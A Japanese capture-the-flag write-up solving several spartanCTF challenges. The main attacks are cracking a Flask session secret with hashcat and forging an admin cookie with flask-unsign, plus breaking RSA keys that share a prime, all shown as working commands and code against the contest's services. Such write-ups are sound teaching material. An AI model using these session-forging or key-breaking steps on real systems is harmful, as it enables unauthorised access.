BWhoGkSvTQZQ3aPJFUVec9TS0x2KzWg5uAuvpkhnKIHPF4AolKFeHdr3xONW0-PyFAxegZrj1Ya8Q6yVKr7s-i_mR_Z4bjqBQGS2Kp49L5XdmSUp68yMU-ke8SHm1Zg69YTJ_D2Dteu7PP-GMXJFkMc2N_8cFq3C3cnpDBdamleolgCV40kdvSyyxqfK6w3vJSdqyR-NjxW_Uod6z0TaE8xTq41zNb-yP7YVjU9_HXtC6S7c8K5X-0nc6NtRYmnYKIjhmutFl-AKTS3K2uSnal4HZu9mZpwEPdfJSxQRlvcqDVGWPRLGazGweHBeNqMgbEGrlVqfUwo7z0_C7eaHKb02BCC5Orj8PBmmeqs1ruNNaVkB03XpZE_Q53IWrIfNfNlIp_8EE9wbruESbN3z4iQ8ACsXU-f5-2_NQOqD0JZj_O8E1Eh-gWOULbmgkVV7sj8rEvuU7e_AoQd9tbeQ5A4xF8GU1kDrcAYmDqZRH3hdSkXXpvAhYAErTguwxFWhZZxmQVTj87fNhba7zbtKMSctOvBr0uUeNloyjr2J3IN04TP_Ss8QlAhaLS5jrNQNZLy6wmNN_oeuJJYAFDwxptnqWB2qsUjuUFuZ_WzNP0MtyEzoZRIlKKPGQATiGASTJjV_QUW0OVapBNIGgWhjlsuJ56a8TbkA6evvKh2NeF1ClYXi_nkAYEpYtmSB7dGMXG1Lm2vrWMWuHjsj5F78xSH01a1xXTxABxcS9BXiW4axcHExNtnfmtRrebnwbeOnLdtYy4pqeze0Jep3QuLt6IH84NHgh3J-8SVNdd4WMCY9ELZPgdsjJMD3U1_ceCJsMbJN48wOnTk-ptaS3_XM0CtG8BDDfP7conPoETvNVOy2yazE9pQ9wMdZoPyn41ao9dSSxhDygeAXVCL2s-cjD8EBSjLYh3TugWKhlHLg-SbNPrYkwHs6KDFTjYOeWDlAjT53MNyU67-P5hFytp2Ly59JvSs4wNGAyCW_jkyAk1x1kzBmcRpK99Put_RJYlmeJMXgYGK_tb1XDZuk8yU6x4VIU5RzMspartanCTF{f1nding_mean1ng_1n_cha0s}qdOfvJDBfs_eYxQ6L8GzoqAQGqTIplaK4k46_PmoGHNMAsrraP5E4ZBZq3QlRbEJlrKRvXeDAf_C_Sec82pFHXQ2jG4e6i7KJCGj8pUNIGRT7mCbxg-fYLbzDI9KOljjTM_axxgl_V3b-Ab485q1-XNr4I4OZpYiwh3w7xP6cciBARQG8pyadc69sXE7CR7Dulqb_ebrjgL_9g3MTClA4YcB8K8BysGkiVw--hHZOuV0_HSfLqBG6AuNPyMtw_oz-j124A-F3LT0rU8J2qZqAdH2q19KSek9ngv2wA1Ot5m8tWAYhlX0T_v5Ubs_NUTkstuTKqdlYMcCX4wheq2rRDEEwmYGC265kVtIlvKWkSEQS-EBhqJXZ9eSrvWBmqQEeMoo9tS13nkEbO293U3MOgQZff3gktGDtW4ebsxDk9AR0jhOargsNoIRAN8mRGY6Kp9FN9wdhx3gPPlkC7PQDtyMsCDLldPSqzPwAmqyiktcNty35cr3E4_Y5JrCN6HdL-XFlbFsJhJhPtxNg4G3GXkopNqHDJGbmyubNFJVLynCSoJREoG6Po6tckDr6kq2tW9oMCuk3AcNF9jUgQiW0OLWUwqOol_Vkbc41YYiyjCHMYb8igKrYAbbUYHpLBKSba6z6j4OqRk91f76_96hjlNdY5jQIB-VeRjrfg9QCV5KLYXQTmm47MkWN6ydxZvCHeqtY4WNKSqJB6M6l6UIMHZvtpf0oDvkMb1i70HYDDWkw55m1PJ1YBWH_xpyTDrx2018bP5ygRU-P7XpsTLEOn9C1qXAlv3ndmtD7OekdJ4gG1g4hanPog8YK-EJT2cW5Cic8aqKzhxIuqYAefvn0tXh46WRXh8Ka1oIGeDy_ZheaGtG_h8rj4cN6GCrwYMwT03czUZvr4v7aZDAk8kVEzI38m3mNa06i1_5zR2O-7erW80upUO9AGzg2hLnevjIk30MHu-KmLlnZIgAultsHyMx1jSfyGaedZigOZ7JRLRrY6r2erOMMzMCwCRcpKoqFprWiNI9KnmBRW15n7GFaAfV67qV0LuZpx0n7Fggo02vfXJewos5_nkkUimiM3koabKDTQqkGVNVWrHRSnN-SwMPIxE6Vw_K8QlteZh_CRgVZk-RGk-rWWMmuf_g_X9Pthi3ZoKreBlQ4TtC3SUdSWKRjJ5MvwwOekV9J13nw0eyK_cncDJUgpgZbnnXUP3ZBaloQAy6haIu0iJ7HbiEM-pRnEBnRynz8yk93nIAC-Kka0p12AYWfV0mH2o_eKxoaBCfPV5YkJxX0Ka7HgHrJyW1ZMl1Cjbr651QBElr16F_Iw2Y3_p42zptK9jjGDhcz-YXoeLArQsdrg5C7WWanmc8Y-FpNWgiJGUV-Du_LJJMc1zAycHKico_KPNPcUHdQepvOFUyFD7aKpa-TbHgbrFDVJADIGHBP9cg8tZYvYqELb6RC-BC9I8jFYKi0sm4dqgfv7qociZPBfwXxorSZMzZsQNjF6LBm3HLFNFU7STg6Xy5c5lYQosIdRkivkV29F9Oo9-LsASlfpQVZp3ynQ9ADoPJp365xjyQcBu0JrwYC0nC9asMMOw-5eGRCTbMw-REdZ10g7UdQm8OG-RGLaFK2ybxOh_bsUh3AtwDpZlk225RwJTc1Xlm427p5L3rVvgxMxWVklhSs5d9hl5HVI44JHBzTtxbYS8mqTi8Ba7yPnwbPaSCMduahtPjTHMs3NeBeJvwfSRgYy69Z0gvlGuHyo-FX_65a4qyZXHumWJp_SjbTGWCwrDasztnfFtbZl3HrMrRaqyUNBuD95GoeB-1fkrDSIH2GN-qHeNBbUNxdLx39BpLKio8opGuekyJ4AoNNuoHRAchZVldaON6yO4FFTlvndRacDM5RDSOheXzroXzGDtJrjcYKzrQcw0G4x-_xSUKojaMS_z8NSevo80eBtDicSadTnHNZVZFMHlqOeIqrh4iC-uJa1XWTNj7aDbkAZn9EZ1EX55GWguulv3EBYw1VGbMy5XfstQktFWKb-OivAbUd2WeTbimHlta399QDkqD5kQdFVA5QehEcEhNY1CCf3G_Cz-4KA3gXK5tFAIQEcNfhbFUyCzmGGkdpgRSBp1LUqMzVvoeC2Mpmx1Z0hsbfYUkrNDOmkM9VwIc3j2VU2mZfOw5XBUXUfpS1nQHKNGdcJYwsDsKQsYBae8Dx6cQ4cno4f5oDZ1XQycTY32yVqhd4RSpv9nw83OxSSqdJfEM1PC8gLgcmyR_jWKLIjA75xS2T1ls7uFdbf4X2fS4vPekGSn0dYPGldO33liQtHUMHozhJraSRAV8BVwSo1umnaCNuUibZzLn5F9KjCcD9OOBLy5yr-AD8D3QI70AFfoVMOJCtKbmG0XoYemGsRplmC6lGVBUukRYZqYGpW04FWPpraYg2qyjYNrywDD0M0mCSeGle93JQ8QSHaPes58D07tp5YLtk_Llk9smS7TJ9gln0U1wNW3fjFgMy7S40ilUJDDaFtpQGOWqAb4oobsSZTx5WpAC6Qdkdo25WJMdx_MTh0cVcCuLPt5my7krCcJ60rTv615ZM1dgSsORvTQO_fVNYJdznI-JQAr9V_XqnEKvfW_5uVy6wXhze-7r8251j1V6iMYeu7xjE_YuRkELdnqopOZMrna_hJefsmn8qfi_bXaL4hX1XleYoqAmA5gU_5vANT8OH99-QdxOzPJXZKSQ7DbFI-P4XF7OLGbHS8FcjLeM1sQOeqsbVwoTNlOdY5bW7SIUnHMzd5Jm8sBibcfGlCCGQOO0_9tbjXkk-8YqLGIDn0hgJjCotjR9kXkjRVGTyov-ffChv9ZMio86rKfT0RMoayk6HoQe78JAThYNXjEWW3EkAyD8fhttAnWt90nHBzaxU87xoDIndmUVJO8HQfFhHyiE0rgmkiOMnJ-SRa6EbC-ddbVtGVybCcUG4_-8j1FkvTlIOQPNeQk0CoQ2mMUb2BDlyq35-V25tPoJxhjsWaqBRfXd4iBVpNCdQ0AEFVqBcD2jZsExpXDC1E_v4v6v2i4O6Ox4cMKQYFWiJiIBbfYZcIxeQ6dHGXNz6y8YMJMArlrZ4xR17VG0im276UC7xbytJtiCUzXDtt3ouXEejVrvkfkXTkNJTtdmVbP225bHNRo4W6GnCTGUNQT_Ge3_fuoJRxnKNMA2nleWTRPz_V6EQ4Dgctr4lZjGUF-GqO0X9vntQO65qlQJJsV60iOnCMV5lpln0o9iCaHot1Ecpv-16ZUdiVTzB9dnA2tcNXLF7hqWpRFii1F6Q1HBbzcO80kL2SzZtlzXmlTwP-GKiFI5Pd5yGSekxQpJVmKgy71O4sh8LWhSA2Lc2LNzUGfZS7FFjErYbqa_94VwexYhJub_-TNbREA49iGAs7AItMfS-GUI2oN4IW9145AHAvDdyj4AjPYljphUQhM70ciSylSvi_pZdw17hqjMgUclHcsEGvWCbuG0mLnADuRFl2N-oAH_F0GkF75zsssfp7YUZ21IV5-C1rktGBJafnFqSqSzuhRyMU9BQ3qbSWU-xysGwclJDBPgVYVsN76nXWTgWM1nnjucTRK72UvCUcgmKunQGifsu2gR95hoqDeqw6VlCOlqJTrqBVs8j8XweDNNS6kO5HlmNWE00tmttVU3g8KCUqUYbrX9oBZi-TB2e93o3beAwx6wqIB4o0M_DXyl03W3oe3DIQqm-SWldzfeuFAVaQOuWTiQ9yBB2BbQLQqMbTrx8WgcFnWqcNve5whTFF4fG3pSQf5upZf1fVqJ9iEkAfS0wfe1lAwxQi5lV78TYbRrDvQbDcjbxaGGc3hQM0KFIzbpoWr5XaCQD-zzm2q5EyqLe5rougY1zJRig1txgzmaidp2cVWnF9cUz2Ae-lGVQ3U5s__kwS7qESWNF5QR60KHWacIDmqrf0HFXSGob9JOuSpsIYyYpQZMBrS8HQGVhK99UJ0Q4UR3GQf3oQob_0bpgK_oUMwddk9PC43HX3Nb06mwiQURFNIklTMcc7POfaIY7hQoemD14b2anZyRQiwQ__USfMjkoieskL4F8vv7HM_C9CPAsJZ38usQS_Pu7TIq7adlhcTvy3ZPQWGz60TWHnQeLdpcCJgKQsI4aj9FHJtAAgw6HOH-xitvp_0y2kqVabSQzU1iwEyuXqXyh5VR9b7zO7tejT65jtTntBc7bmidcKlrxRG8fPT2C9285CSZ9JFBuvx5BNkpiXScL6Ng-WKU_4lavjPtc3ziiMVBi_C79VStSeATjjLGauoy6h5vBtEH16hnWnemtxLof8HrBRRFx-FNXrL1pGeRAG-4fdKeLwLFcYzNclmCJ7LvQr19Fj3-td0CaHB1DUm9mr-0-Bg04PTx_2Sqmy9ACijZF3tOEuPT9i_yDxyzoXIttFnXvxEhMWLJsJkuXEGzNIYz3aUUz_MRqyMD-k-Tprdo_F1mcQO46kCZQZVFPVvFitLvmj97kxibDfP6UW7BLBHCZ99GbKz1_yRQNVdN3frZzOdD8gf9yb1u1879Es2xLkxxnlewMJisYBzRpW91HdH3jS1iUmuXWeH70zAaGUDOhvZkGivKiIgCavnbzgWC9vvtyS6txM7ij1wB9r47WlYQ4mRNss4gHVUYtMWlizu62Vvi8ZXcpWFgTeNrN7V-ygjTiPSibTiRtxGvP1Ghu-Yl1l_lR_tSsLOlwB0YcSawQnqfGBkZpltfdHBoPkNjevanrw2w09IkSMNF9-PgVUKoZ6mwaWDIayTFoQOBv66l6NkWGFJLHa_3aQNAjYiDz_8RHdgGdknmfORlozsUwaYzcd7fr31d6oWZZmYZEF5wdOlw4PMyJOQKqVM4AgaZFalHd6ZuxTYyg0FD1Pa4sTT1MDynq4v-ttN-1kH0fAJmYcFmIkS7I4xJFQOET15Kidt8n61Dh51ZmSPUF42-mRbrNloekysSSrFzOwGNG6Nv3IEdQ7pQTODD6RRSpZpB2L3egS8Gopv8BYHbqmJNb8ow6_Mi9FZfmsHWiVPKexxie-v_mduz7h5mgoQv7fxnKLp2Pmf4QMixwBO611Zsn9LauPVx4XrJAra7hKJkdMcJfUwXQQqLnmiU7dEq0KIpe06UtlP0Y2VfyShOMJkl4mL-W06JWhZsWEjsdzzvalAmqa8kMkHK9ds-AqCVPErINlL4paIUr6KAE_p9mbLslD-NrnVBiX_8N1Qj6FKEsw7kkMldvyjIdRvpbQuEAFsAUa1Pp-OacftzoCfzh_4VJPiNYMFGL_zQNL1Ue5MS00x0KfSee9gVBxv0atJjNO7cpHC5bNRJctXJFCPJ5AgJBU1-xDexudorCyOmtQsP05z8H01CfblqVbkhFA-KJljZjyoqRvb2oPaPqHnjCjQAjF0OZA8eZJEAD8gnXGTONcfMEo5Rg-nYCwnyVZi3EH5V4bm119Ceeuble0sXyVVOh4AgwVDezoAuy0hno1O7AQA7-JZpm2FLpzVGWpDEL6YErqba0Y6scYqVdwPAh5Dd-J05V4BmZ-ZtDd9MIIjEMzOij7mk0faOrIOHrRzcQOdlLri8DCFEZWxAlmziGWB9SW274xWfUGBU7cgN9KttLa5e7k2qgrxWJDwljx0dqhmLpts_NlweA_gVAxe941aRhZwTNkxnFlqHJjWWFMzbsPLokrfjQSoUlMslflyQ1QyQNNtJ9PVh19FX8_cFoNyRbB7-MPDp4YT6-R-NPDYjlTcGmUzp5rqnLoCiHIGT3Zoh4oPyDsocCa4gu-3abyPgUlZ4Xx95967IzrJh54XUuE3BIQG-dtiEkGacEkgrp7ijU_0KvNtV75Jc5JEE2fc6MXujyW0aAcP8waYpF3vQ5fsskq4yn7cCzS5psvU7f8pyEFq9V_Fdpcm2fHHkvK4uXv33CgaUoHWFtB0fMTz8hA6d-jyJppD37JqqN4PzUAaUBsGq0fGoY0MczmFvpLttyxbVkKUt33bR5SwWWeD74MGYImDYnE5fMHKb3AJQEaryAZRvhHjsj3X3ZPfWSRR6tmJjSsvUhSlMCi0YCrg-0JXPDcBdiE5FRXrvmb9JZXgabYPHeGX71KSsDoFUuo0BAU1O63wNyPVu98jMeKrwO81HwaWyJ53GeBI2gFcQ_11-HsWzTfte_ffHpiVPbfKkS-R-XNnI_eTpPqx_bFnjeeMtZefa4AmseIJ5w7X7Ns7rLaHmou0JRcx7qUrQAn0u_l_KdrguebXCZHv77cGQkugTbwMRdAQfAhtdqi42ihK0nMsYe-aijfiz5aW3t8yty9A9blxs-kGb1cQRgNiQxZHe16RDb4371Jc4L6FqTAr2dNJ9NH5gI-c2jRVAWZlD_FZlJmGDfaQIlIhUCmeVYD9-cGm4kzkfkAfdJ5J22H7KOAXZZ_GtLFIma1ushXJL0bv8ezsplDD_wdY4VFQSsLevp9yeg2dL08XTZSyfFmBi44vq2SRcV__Xd0-B0oVKT-kO0s1gfACW-deuB4XqifId99mIG1fA4pMXuaWwOjw0ZIl3BgUnQ7z7GekEA8WYNS2jKGmZGkmewYzZiExmWnPUm6y9Jd5l_j0m2C0r7XvsNBZyBLLilGhHtEb7S7EQmiitZYtWlbgNHUbQ4tBPas1128n5EPuYh-5BRgeraN_xeQgK9YgWT1BT24k

この長い文字列中にフラグが紛れ込んでいた。

spartanCTF{f1nding_mean1ng_1n_cha0s}

Talk to Me [III] (Interactive 100)

Talk to Me [I]」で表示された以下の文で小文字を"0"、大文字を"1"にしてデコードする。

i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS.
#!/usr/bin/env python3
from string import *

s = "i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS."

bin_flag = ''
for c in s:
    if c in ascii_lowercase:
        bin_flag += '0'
    elif c in ascii_uppercase:
        bin_flag += '1'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print(flag)
spartanCTF{y0u_cant_get_what_y0u_want}

Eightyfour (Interactive 140)

出題される計算式に答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 24386))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for i in range(10):
    print('Round %d' % (i + 1))
    data = recvuntil(s, b'= ')
    print(data, end='')
    answer = eval(data[:-3])
    print(answer)
    s.sendall(str(answer).encode() + b'\n')

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Launching computational intelligence benchmarks.

Please respond to each question with an immediate response. If a reply takes too long, the test will be terminated.

Round 1
654050919262795248 + 333111857139109945 = 987162776401905193
Round 2
327674781586996111 + 451991449093278596 = 779666230680274707
Round 3
620395274353857848 + 164297346893514715 = 784692621247372563
Round 4
308289783000397819 + 482988808666491610 = 791278591666889429
Round 5
408896797767172917 + 825717191706866999 = 1234613989474039916
Round 6
249224077449216570 + 201272982942158454 = 450497060391375024
Round 7
192596142621718374 + 662717274944450725 = 855313417566169099
Round 8
93698272602889979 + 904723096742383268 = 998421369345273247
Round 9
521319513171522720 + 929022107614600343 = 1450341620786123063
Round 10
556243972330491330 + 555005377563543896 = 1111249349894035226

NO COMPUTATIONAL ERRORS DETECTED. TEST SUCCESS.

spartanCTF{n0_y0u_cant_b0rr0w_my_c4lculat0r}
spartanCTF{n0_y0u_cant_b0rr0w_my_c4lculat0r}

Chocolate Chocolate Chip (Interactive 150)

https://spartan-chocolate-chocolate-chip-service.chals.io/にアクセスすると、クッキーのsessionに以下が設定されている。

eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE

https://spartan-chocolate-chocolate-chip-service.chals.io/loginにアクセスすると、以下のように表示される。

SERVICE UPDATE 4/17/24
Login mechanism temporarily disabled for security audit. Admins should know how to bypass this anyway. --baker

Flaskのsession情報と思われる。このHMAC Keyをクラックする。

$ cat session.txt     
eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE
$ hashcat -m 29100 session.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE:webdesign
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 29100 (Flask Session Cookie ($salt.$salt.$pass))
Hash.Target......: eyJ1c2VyIjoiZ3Vlc3QifQ.ZiDPag.27qgulW6Rcz61QZWK9fg43L4qIE
Time.Started.....: Thu Apr 18 17:24:24 2024 (1 sec)
Time.Estimated...: Thu Apr 18 17:24:25 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1279.9 kH/s (0.28ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 382976/14344385 (2.67%)
Rejected.........: 0/382976 (0.00%)
Restore.Point....: 381952/14344385 (2.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: womendeai -> virgo74
Hardware.Mon.#1..: Util: 47%

Started: Thu Apr 18 17:24:01 2024
Stopped: Thu Apr 18 17:24:27 2024

ヘッダ部のデータを確認する。

$ echo eyJ1c2VyIjoiZ3Vlc3QifQ== | base64 -d
{"user":"guest"}

baker用のクッキーを作成してみる。

$ flask-unsign --sign --cookie "{'user': 'baker'}" --secret 'webdesign'
eyJ1c2VyIjoiYmFrZXIifQ.ZiDcsg.uk11ci7v9W1OTkKP-gYJUonD7Lo

このデータをクッキーのsessionに設定し、https://spartan-chocolate-chocolate-chip-service.chals.io/にアクセスすると、以下のように表示される。

Here are your cookies!

「cookies」のリンク先のhttps://spartan-chocolate-chocolate-chip-service.chals.io/pantryにアクセスすると、クッキーが焼けるような動画GIFが表示される。
クッキーのsessionを見ると、以下が設定されている。

eyJjb29raWUiOiJjaG9jb2xhdGVfY2hpcCIsImZsYWciOiJzcGFydGFuQ1RGezN2M3J5X2IwZHlfbDB2ZXNfYV9jMDBrMWV9IiwidXNlciI6ImJha2VyIn0.ZiDesw.uVJXIPjJKfQ5MH_oKefH6GYX4EU

https://jwt.io/で内容を確認すると、ヘッダ部にフラグが含まれていた。

{
  "cookie": "chocolate_chip",
  "flag": "spartanCTF{3v3ry_b0dy_l0ves_a_c00k1e}",
  "user": "baker"
}
spartanCTF{3v3ry_b0dy_l0ves_a_c00k1e}

Excavator (Interactive 150)

https://spartan-excavator-service.chals.io/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /index.html
Disallow: /portfolio.html
Disallow: /login
Allow: about.html
Allow: contact.html
# Disallow: /login.old.html

https://spartan-excavator-service.chals.io/login.old.htmlにアクセスする。HTMLソースを見ると、スクリプトに以下のように書いてある。

    <script>
    
      function authenticate(){
        var authorised;
        
        var username = document.getElementById("username").value;
        var password = document.getElementById("password").value;

        if(username == "ExcavationAdmin" && btoa(password) == "U3VwM3JTM2N1cmVQYXNzdzByZDE="){
          authorised = true;
        }else{ 
          authorised = false;
          alert("Sorry, credentials are incorrect.");
        }
        //return result
        return authorised;
      }
    </script>
$ echo U3VwM3JTM2N1cmVQYXNzdzByZDE= | base64 -d                                
Sup3rS3curePassw0rd1

https://spartan-excavator-service.chals.io/loginで以下を入力し、ログインすると、ポップアップでフラグが表示された。

Username: ExcavationAdmin
Password: Sup3rS3curePassw0rd1
spartanCTF{y0u_dug_th3_passw0rd_up!}

Destroy After Use (Interactive 250)

$ nc 0.cloud.chals.io 13998
MDS v1.0.0
=========================================
Welcome to our proprietary message delivery service. For authorized staff members only.

•Enter "RETRIEVE" to receive an encrypted message left by a client. Public key used for encryption included.
•Enter "QUIT" to terminate this session.

>RETRIEVE

PUBLIC KEY:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAMtU42MYyRVcPCunNpMQ/avI4TeekEHttN88dzDw15q4FJ313R+FXVCq
V2VC6QBDh/1dpg1z78R/85cfptysA62g73awWw4WF+xRm1N6O1FhYcVLB9GzZwQe
EJfDMQXJM+A/k8s/7kplkZNoB4N9DmNNmaQ7tRy4KCJ5IiK507MvAgMBAAE=
-----END RSA PUBLIC KEY-----

MESSAGE:
qdqih2tpdSoPwf1A4shbo4Z2wE7cAJG5A9zA3oK0iAU/ribRvg8vCyauPfpY+mKhoxq4vlUcT8V9fa83cOIncroPPWkg+ZUrKRodbB7HVvCZmsk2+ba1QcyNmE/4QeJjovGKEHX+70vn06+bv2mPlUzwxmJRYvFFCiEE8TP+YEc=

>RETRIEVE

PUBLIC KEY:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANWxT1paYAPKmaGR1X1uf4uYHz8BMwHQHbk8c5cmyz7slqb2GtM5dTN1
DvxMLXGjDZ5HY120WRt8G71znmxQsQrRwzjasReMk5oIyHjiCSYUDuV32y2QFbgq
PWFVVYjVF48BaOc07YDv55ZfDIn69RILy9Be6mgiWP33BvpiltSrAgMBAAE=
-----END RSA PUBLIC KEY-----

MESSAGE:
zhT+LePqZHC97DShZ67IN/pmQ8e0raaGDvDd80ubIlTN1gmQBOH2bpSI3kA4/j8ZY+ikQ7NVUUXQkPCG4hnpJSk80eWXWl/KgTY7DbS1bBFK2oMOClUkjTky7nH9MYRBE+yW0Ur7cO3YfstAgAv1FP0ZU2dJ1f9xMUvBtWfdcN4=

> 

RETRIEVEで毎回異なる公開鍵で暗号化されているようだ。公約数を取れば、素因数分解できるので、復号できる。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from base64 import *

pub_data1 = '''-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAMtU42MYyRVcPCunNpMQ/avI4TeekEHttN88dzDw15q4FJ313R+FXVCq
V2VC6QBDh/1dpg1z78R/85cfptysA62g73awWw4WF+xRm1N6O1FhYcVLB9GzZwQe
EJfDMQXJM+A/k8s/7kplkZNoB4N9DmNNmaQ7tRy4KCJ5IiK507MvAgMBAAE=
-----END RSA PUBLIC KEY-----'''

pub_data2 = '''-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBANWxT1paYAPKmaGR1X1uf4uYHz8BMwHQHbk8c5cmyz7slqb2GtM5dTN1
DvxMLXGjDZ5HY120WRt8G71znmxQsQrRwzjasReMk5oIyHjiCSYUDuV32y2QFbgq
PWFVVYjVF48BaOc07YDv55ZfDIn69RILy9Be6mgiWP33BvpiltSrAgMBAAE=
-----END RSA PUBLIC KEY-----'''

c1 = 'qdqih2tpdSoPwf1A4shbo4Z2wE7cAJG5A9zA3oK0iAU/ribRvg8vCyauPfpY+mKhoxq4vlUcT8V9fa83cOIncroPPWkg+ZUrKRodbB7HVvCZmsk2+ba1QcyNmE/4QeJjovGKEHX+70vn06+bv2mPlUzwxmJRYvFFCiEE8TP+YEc='
c1 = bytes_to_long(b64decode(c1))

pubkey1 = RSA.importKey(pub_data1)
n1 = pubkey1.n
e1 = pubkey1.e

pubkey2 = RSA.importKey(pub_data2)
n2 = pubkey2.n
e2 = pubkey2.e

assert e1 == e2

p = GCD(n1, n2)
q = n1 // p
phi = (p - 1) * (q - 1)
d = inverse(e1, phi)
m = pow(c1, d, n1)
flag = long_to_bytes(m)
flag = flag[flag.index(b'spartanCTF{'):].decode()
print(flag)
spartanCTF{n3v3r_r3us3_pr1m3_n4mb3rs_plz_f023e56a}

Touch Base (OSINT 25)

HTMLソース見て、"spartan"で検索すると、以下が見つかった。

data-code="&lt;!-- spartanCTF{w3lc0m3_t0_th3_c1ub_bb78d66e} --&gt;"
spartanCTF{w3lc0m3_t0_th3_c1ub_bb78d66e}

Evesdropper (OSINT 30)

問題文にある数値の羅列をASCIIコードとしてデコードする。

#!/usr/bin/env python3

ct = '78 105 99 101 32 106 111 98 32 114 101 99 111 110 103 105 122 105 110 103 32 65 83 67 73 73 44 32 98 117 116 32 116 104 105 115 32 119 97 115 32 106 117 115 116 32 97 32 114 101 100 32 104 101 114 114 105 110 103 33 32 82 101 109 101 109 98 101 114 44 32 104 97 99 107 105 110 103 32 105 115 32 97 98 111 117 116 32 102 105 110 100 105 110 103 32 116 104 101 32 101 97 115 105 101 115 116 32 119 97 121 32 116 111 32 103 101 116 32 116 104 101 32 100 97 116 97 32 121 111 117 32 110 101 101 100 46 32 73 110 32 97 32 114 101 97 108 32 119 111 114 108 100 32 115 99 101 110 97 114 105 111 44 32 121 111 117 32 109 105 103 104 116 32 116 114 121 32 103 111 111 103 108 105 110 103 32 66 111 98 32 116 111 32 115 101 101 32 119 104 111 32 104 101 39 115 32 107 110 111 119 110 32 116 111 32 98 101 32 114 101 103 117 108 97 114 108 121 32 105 110 32 99 111 110 116 97 99 116 32 119 105 116 104 32 40 115 111 99 105 97 108 32 109 101 100 105 97 47 98 108 111 103 32 112 111 115 116 115 44 32 112 105 99 116 117 114 101 115 44 32 98 117 115 105 110 101 115 115 32 112 114 111 102 105 108 101 115 44 32 101 116 99 41 46 32 77 97 121 98 101 32 121 111 117 32 99 111 117 108 100 32 101 118 101 110 32 116 114 121 32 103 111 111 103 108 105 110 103 32 115 101 118 101 114 97 108 32 111 102 32 116 104 101 32 110 97 109 101 115 32 112 114 111 118 105 100 101 100 32 116 111 103 101 116 104 101 114 32 97 110 100 32 115 101 101 32 119 104 97 116 32 121 111 117 32 103 101 116 46 46 46'
ct = ct.split(' ')

msg = ''
for c in ct:
    msg += chr(int(c))
print(msg)
Nice job recongizing ASCII, but this was just a red herring! Remember, hacking is about finding the easiest way to get the data you need. In a real world scenario, you might try googling Bob to see who he's known to be regularly in contact with (social media/blog posts, pictures, business profiles, etc). Maybe you could even try googling several of the names provided together and see what you get...

BobとEveとのやりとりによく出てくるのはAlice。

spartanCTF{alice}

Recovery (OSINT 60)

以下のハッシュが提示されている。

07fc8e7f9f675b4281b1ac40ca187eb5da698024cb6bf893be62a96da33cfad5

CrackStationでクラックする。

bigdork!
spartanCTF{bigdork!}

Hide and Seek (OSINT 150)

https://twitter.com/dstein1971を見ると、2023/12/22に以下のメッセージがある。

New blog post just dropped. You know where to find it.

以下にブログについてのリポジトリがある。

https://www.github.com/dstein1971

コミット履歴の「update README」を見てみると、フラグが書いてあった。

spartanCTF{th1s_1s_n0t_a_great_1d3a_dcccfd40}

In Plain Sight (Forensics 50)

$ steghide extract -sf in_plain_sight.jpg        
Enter passphrase: 
wrote extracted data to "flag".
$ cat flag            
# almost there!
